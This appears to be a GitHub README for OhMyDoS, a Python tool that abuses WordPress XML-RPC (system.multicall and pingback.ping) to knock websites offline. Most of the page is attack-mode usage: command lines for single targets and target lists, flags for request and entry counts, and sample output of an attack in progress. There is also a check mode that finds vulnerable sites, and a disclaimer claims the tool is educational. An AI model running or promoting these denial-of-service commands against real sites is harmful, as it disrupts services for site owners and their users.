swagkarna / OhMyDoS

:no_entry: Python console application abusing Wordpress API called XML-RPC and its functions with aim of Denial-of-Service.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Logo

โ›” OhMyDoS

OhMyDos is a python console application abusing Wordpress API called XML-RPC and its functions system.multicall and pingback.ping with aim of Denial-of-Service.


๐Ÿ“ Pre-requisites

  • Python3.X (download)
  • library called fake-useragent (project)
    • $ pip install fake-useragent

โšก Usage

OhMyDos provides 2 operation modes check and attack with ability to automate targeting of multiple Wordpress websites.

Attack Mode

Option Flags

Flags Description
-e Number of entries per one system.multicall (per one POST request)
-r Number of POST request per target

Single Target

$ python3 OhMyDoS.py attack http://pingback.com http://example.com

    โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘ โ–ˆโ–ˆ     โ–ˆโ–ˆโ–ˆโ–„ โ–„โ–ˆโ–ˆโ–ˆโ–“โ–“โ–ˆโ–ˆ   โ–ˆโ–ˆโ–“   โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–„  โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 
    โ–’โ–ˆโ–ˆโ–’  โ–ˆโ–ˆโ–’โ–“โ–ˆโ–ˆโ–‘ โ–ˆโ–ˆโ–’   โ–“โ–ˆโ–ˆโ–’โ–€โ–ˆโ–€ โ–ˆโ–ˆโ–’ โ–’โ–ˆโ–ˆ  โ–ˆโ–ˆโ–’   โ–’โ–ˆโ–ˆโ–€ โ–ˆโ–ˆโ–Œโ–’โ–ˆโ–ˆโ–’  โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆ    โ–’ 
    โ–’โ–ˆโ–ˆโ–‘  โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–€โ–€โ–ˆโ–ˆโ–‘   โ–“โ–ˆโ–ˆ    โ–“โ–ˆโ–ˆโ–‘  โ–’โ–ˆโ–ˆ โ–ˆโ–ˆโ–‘   โ–‘โ–ˆโ–ˆ   โ–ˆโ–Œโ–’โ–ˆโ–ˆโ–‘  โ–ˆโ–ˆโ–’โ–‘ โ–“โ–ˆโ–ˆโ–„   
    โ–’โ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘โ–‘โ–“โ–ˆ โ–‘โ–ˆโ–ˆ    โ–’โ–ˆโ–ˆ    โ–’โ–ˆโ–ˆ   โ–‘ โ–โ–ˆโ–ˆโ–“โ–‘   โ–‘โ–“โ–ˆโ–„   โ–Œโ–’โ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘  โ–’   โ–ˆโ–ˆโ–’
    โ–‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–“โ–ˆโ–’โ–‘โ–ˆโ–ˆโ–“   โ–’โ–ˆโ–ˆโ–’   โ–‘โ–ˆโ–ˆโ–’  โ–‘ โ–ˆโ–ˆโ–’โ–“โ–‘   โ–‘โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–“ โ–‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’
    โ–‘ โ–’โ–‘โ–’โ–‘โ–’โ–‘  โ–’ โ–‘โ–‘โ–’โ–‘โ–’   โ–‘ โ–’โ–‘   โ–‘  โ–‘   โ–ˆโ–ˆโ–’โ–’โ–’     โ–’โ–’โ–“  โ–’ โ–‘ โ–’โ–‘โ–’โ–‘โ–’โ–‘ โ–’ โ–’โ–“โ–’ โ–’ โ–‘
    โ–‘ โ–’ โ–’โ–‘  โ–’ โ–‘โ–’โ–‘ โ–‘   โ–‘  โ–‘      โ–‘ โ–“โ–ˆโ–ˆ โ–‘โ–’โ–‘     โ–‘ โ–’  โ–’   โ–‘ โ–’ โ–’โ–‘ โ–‘ โ–‘โ–’  โ–‘ โ–‘
      โ–‘ โ–‘     โ–‘  โ–‘  โ–‘   โ–‘      โ–‘    โ–’ โ–’         โ–‘    โ–‘   โ–‘   โ–’     โ–‘  โ–‘  
    
----------------------------------------------------------------------------
[>] Target : http://example.com
[>] Building 2000 pingback calls per one request
[>] Request size: 243.649 kB

[~] Starting attack, press CTRL+C to stop ...
[>] Requests sent : 159

[~] Attack interrupted by keypress

Multiple Targets

$ python3 OhMyDoS.py attack http://pingback.com targets.txt

Check Mode

Single Target

$ python3 OhMyDoS.py check http://example.com

    โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘ โ–ˆโ–ˆ     โ–ˆโ–ˆโ–ˆโ–„ โ–„โ–ˆโ–ˆโ–ˆโ–“โ–“โ–ˆโ–ˆ   โ–ˆโ–ˆโ–“   โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–„  โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 
    โ–’โ–ˆโ–ˆโ–’  โ–ˆโ–ˆโ–’โ–“โ–ˆโ–ˆโ–‘ โ–ˆโ–ˆโ–’   โ–“โ–ˆโ–ˆโ–’โ–€โ–ˆโ–€ โ–ˆโ–ˆโ–’ โ–’โ–ˆโ–ˆ  โ–ˆโ–ˆโ–’   โ–’โ–ˆโ–ˆโ–€ โ–ˆโ–ˆโ–Œโ–’โ–ˆโ–ˆโ–’  โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆ    โ–’ 
    โ–’โ–ˆโ–ˆโ–‘  โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–€โ–€โ–ˆโ–ˆโ–‘   โ–“โ–ˆโ–ˆ    โ–“โ–ˆโ–ˆโ–‘  โ–’โ–ˆโ–ˆ โ–ˆโ–ˆโ–‘   โ–‘โ–ˆโ–ˆ   โ–ˆโ–Œโ–’โ–ˆโ–ˆโ–‘  โ–ˆโ–ˆโ–’โ–‘ โ–“โ–ˆโ–ˆโ–„   
    โ–’โ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘โ–‘โ–“โ–ˆ โ–‘โ–ˆโ–ˆ    โ–’โ–ˆโ–ˆ    โ–’โ–ˆโ–ˆ   โ–‘ โ–โ–ˆโ–ˆโ–“โ–‘   โ–‘โ–“โ–ˆโ–„   โ–Œโ–’โ–ˆโ–ˆ   โ–ˆโ–ˆโ–‘  โ–’   โ–ˆโ–ˆโ–’
    โ–‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–“โ–ˆโ–’โ–‘โ–ˆโ–ˆโ–“   โ–’โ–ˆโ–ˆโ–’   โ–‘โ–ˆโ–ˆโ–’  โ–‘ โ–ˆโ–ˆโ–’โ–“โ–‘   โ–‘โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–“ โ–‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’
    โ–‘ โ–’โ–‘โ–’โ–‘โ–’โ–‘  โ–’ โ–‘โ–‘โ–’โ–‘โ–’   โ–‘ โ–’โ–‘   โ–‘  โ–‘   โ–ˆโ–ˆโ–’โ–’โ–’     โ–’โ–’โ–“  โ–’ โ–‘ โ–’โ–‘โ–’โ–‘โ–’โ–‘ โ–’ โ–’โ–“โ–’ โ–’ โ–‘
    โ–‘ โ–’ โ–’โ–‘  โ–’ โ–‘โ–’โ–‘ โ–‘   โ–‘  โ–‘      โ–‘ โ–“โ–ˆโ–ˆ โ–‘โ–’โ–‘     โ–‘ โ–’  โ–’   โ–‘ โ–’ โ–’โ–‘ โ–‘ โ–‘โ–’  โ–‘ โ–‘
      โ–‘ โ–‘     โ–‘  โ–‘  โ–‘   โ–‘      โ–‘    โ–’ โ–’         โ–‘    โ–‘   โ–‘   โ–’     โ–‘  โ–‘  
    
----------------------------------------------------------------------------
[>] Checking if XML-RPC for http://example.com is enabled ...
[>] XML-RPC enabled.

Multiple Targets

$ python3 OhMyDoS.py check targets.txt

๐Ÿ“‹ To-Do List

Task Status
Reimplement random User Agent generation

๐Ÿ“ฎ Resources


๐Ÿ“ Testing Environment Set Up

  • How To Install WordPress with LAMP (link)
  • WordPress in a Docker container (link)

โš ๏ธ Disclaimer

This tool was developed solely for educational purposes only and the author of this tool is no way responsible for any misuse.

About

:no_entry: Python console application abusing Wordpress API called XML-RPC and its functions with aim of Denial-of-Service.

License:GNU General Public License v3.0


Languages

Language:Python 100.0%